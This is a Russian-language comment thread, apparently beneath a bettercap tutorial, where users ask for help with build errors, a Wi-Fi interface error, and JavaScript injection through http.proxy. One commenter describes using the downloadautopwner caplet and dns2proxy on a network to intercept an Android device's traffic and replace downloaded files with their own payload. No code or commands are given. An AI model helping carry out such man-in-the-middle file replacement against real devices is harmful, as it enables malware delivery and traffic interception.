Perhaps you should add the directory containing `libusb-1.0.pc'
to the PKG_CONFIG_PATH environment variable
No package 'libusb-1.0' found
pkg-config: exit status 1
Что это может быть? Помогите пожалуйста!
Алексей, огромное спасибо за ваш труд.
Подскажите пожалуйста, у меня следующая проблема: bettercap 2 собран из исходников, дебиан 10. Пытаюсь запустить downloadautopwner. Убедился в том, что беттеркап корректно грузит каплет и джаваскрипт. Но результата — ноль.
На атакуемом устройстве андроид при попытке скачать файл pdf с помощью termux и команды wget (для чистоты эксперимента, так сказать) вижу failed: Connection refused.
Аналогичная картина и в браузере — не удалось подключиться.
То бишь просто убивает подключение. Порты на машине с беттеркап открыты, форвардинг включен. Iptables сброшен.
В связке с dns2proxy запущенной из терминала отдельно получилось перехватить и прочитать трафик того же андроида. Настройки в роутере выставлены на отсутствие защитных функций.
Парни, подскажите, как подменить грёбаный файл на свою полезную нагрузку.
Алексей привет.Вот такая проблема
[09:06:54] [sys.log] [war] wifi could not set interface wlan1 txpower to 30, 'Set Tx Power' requests not supported
[09:06:54] [sys.log] [err] error while activating handle: unknown activated error: -1
192.168.1.0/24 > 192.168.1.53 »
Что с ней делать,облазил google ,переустанавливал,ни чего не помогает,подскажите путь исправления.
Приветствую, а что пытаетесь сделать, какая команда вызывает эту ошибку? Кроме этой команды остальное работает?
Привет,а можно ли использовать http.proxy на трафике локальной машины?То есть например ижекстить js в свой личный траффик с компа на котором запущен bettercap